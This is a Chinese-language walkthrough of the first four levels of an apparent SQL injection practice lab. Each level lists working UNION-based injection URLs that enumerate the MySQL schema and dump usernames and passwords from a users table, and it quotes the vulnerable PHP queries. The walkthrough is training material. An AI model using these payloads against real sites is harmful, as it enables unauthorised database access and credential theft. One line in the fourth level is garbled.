【第一关】
Ⅰ 验证是否存在sql注入
http://sqli.exp-9.com/Less-1/?id=1
在这里,就直接看到答案了,主要是因为他的源码构成的,当输入id=1时,会输出一个数据,恰好我们需要的账号和密码就是第一条数据,不过我们要按照顺序,慢慢爆
http://sqli.exp-9.com/Less-1/?id=1' 报错
http://sqli.exp-9.com/Less-1/?id=1' %23 正常显示
http://sqli.exp-9.com/Less-1/?id=1' --+ 正常显示
了解下,有哪些注释方式
- # 号注释
- %23 注释
- --+ 注释
Ⅱ 从源码分析
源码上的sql语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
输入:?id=1' --+
执行结果:$sql="SELECT * FROM users WHERE id='1' --+' LIMIT 0,1";
-- 注释,将“LIMIT 0,1”注释
Ⅲ 判断列表数
http://sqli.exp-9.com/Less-1/?id=1' order by 2 --+ //正常
http://sqli.exp-9.com/Less-1/?id=1' order by 3 --+ //正常
http://sqli.exp-9.com/Less-1/?id=1' order by 4 --+ // 报错,列表数为3
Ⅳ 判断回显位
判断每一列,对于的是哪些字段数据
在前面“判断列表”,知道有三列,但不知道那些列,代表什么
http://sqli.exp-9.com/Less-1/?id=-1' union select 1,2,3 --+
-- 利用id = -1' 一个不成立的条件,直接调用 select 1,2,3
Ⅴ 判断数据库
http://sqli.exp-9.com/Less-1/?id=-1' union select 1,2,database() --+
-- database() MySQL中的DATAbase()函数返回默认或当前数据库的名称
Ⅵ 判断表
?id=-1' union select 1,2,group_concat(table_name) //
from information_schema.tables
where table_schema=database() --+
group_concat():将多个多个字符串,用逗号拼接
information_schema:提供了对数据库元数据、统计信息以及有关MySQL Server信息的访问(例如:数据库名或表名、字段的数据类型和访问权限等)
information_schema.tables 为获取所有数据库的表
table_schema :数据库的名称
table_name:表的名称
Ⅶ 判断字段
?id=-1' union select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema=database() and table_name = 'users' --+
Ⅷ 爆数据
?id=-1' union select 1,2,concat_ws('-',id,username,password)
from security.users
--+
-- 语句解析
-- 在数据库为security里的表users,查询出字段“id,username,password”的数据
concat_ws函数:是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间
参考材料
https://blog.csdn.net/wangyuxiang946/article/details/121058067
https://blog.csdn.net/qq_45833260/article/details/125776657
https://www.cnblogs.com/chenshanhai/p/14197865.html
https://blog.csdn.net/qq_42778001/article/details/120035616
【第二关】
跟第一关好像,题目描述一样
Ⅰ 验证是否存在注入(更新)
根据《Web安全深度剖析》上,讲到sql数字型注入存在验证方式,大致分为三步,满足三句话,即可能存在sql注入
http://sqli.exp-9.com/Less-2/?id=1' -- 报错,单引号报错
http://sqli.exp-9.com/Less-2/?id=1 and 1=1 -- 正常显示
http://sqli.exp-9.com/Less-2/?id=1 and 1=2 -- 与第二句,返回数据有差异
Ⅱ 判断注入形式
http://sqli.exp-9.com/Less-2/?id=1
注入“id=1”后,发现跟之前一样,直接出结果了,试一下“ ?id=1‘ ”,发现报错 ’ LIMIT 0,1
尝试加下 多种注释,发现不行,报错 ’ – LIMIT 0,1、 ’ # LIMIT 0,1
Ⅱ 源码分析
-- 源码上的sql语句,与第一关不同,在于“id=$id”,这里是用于赋值的
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
--注入:/?id= 1'
执行结果:$sql="SELECT * FROM users WHERE 1' LIMIT 0,1";
-- 看得出来,多个分号,导致sql语句失效
上述分析,我们注入时,不加分号,故接下来的数据库结构判断的sql注入语句是……往下看
Ⅲ 判断结构
-- 判断列数
http://sqli.exp-9.com/Less-2/?id=1 order by 3 -- 正常显示
http://sqli.exp-9.com/Less-2/?id=1 order by 4 -- 报错
-- 判断回显位
http://sqli.exp-9.com/Less-2/?id=-1 union select 1,2,3
Ⅳ 正常注入
-- 爆数据库
http://sqli.exp-9.com/Less-2/?id=-1 union select 1,2,database() --security
-- 表
-- 结果:emails,referers,uagents,users
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
-- 字段
-- 结果:id,username,password
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users'
-- 数据
?id=-1 union select 1,2,concat_ws('~',id,username,password) from security.users
参考资料
【第三关】
Ⅰ 判断注入点
http://sqli.exp-9.com/Less-3/?id=1 --正常
http://sqli.exp-9.com/Less-3/?id=1' -- 报错
在注入“?id=1’ ”,报错’ 1’ ') LIMIT 0,1 ,根据我们注入的sql语句,可以判断出源码存在括号
sql语句如:(‘XXX’) Limit 0,1
结论:可以利用单引号+注释,将多余的括号和语句忽略掉
?id=1') XXX
Ⅱ 源码分析
-- 与前面猜的差不多
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
Ⅲ 正常注入
如前两关一样的步骤
-- 查看列表数
?id=1') order by 4 --+
-- 查看回显
?id=-1') union select 1,2,3
-- 爆数据库名
?id=-1') union select 1,2,database() --+
-- 爆数据库表
?id= -1') union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema=database() --+
-- 爆表中字段名
?id= -1') union select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema=database() and table_name = 'users' --+
-- 爆数据
?id=-1') union select 1,2,concat_ws('~',id,username,password) from security.users --+
【第四关】
Ⅰ 判断注入点
无论是单引号注入、正注、逻辑注入,都可以输出正常内容,很奇怪
-- 以下的注入sql,皆显示正常
?id=1
?id=1'
?id=1 and 1=1
?id=1 and 1=2
偷看了下源码的txt提示文件,发现可以利用左斜线,进行隔离sql语句,让其报错
?id=1\ --报错
-- 出现以下信息
" 1\ ") LIMIT 0,1
推断源码sql语句包含: (“XX”) limit 0,1
--构造注入playload
?id=1") and 1=1 --+ -- 正常显示,开始正常注入
and 1=1 --+ 正常显示&width=318.8869670996282 “?id=1”) and 1=1 --+ 正常显示")
Ⅱ 源码分析
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
-- 执行结果,与猜测一致
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";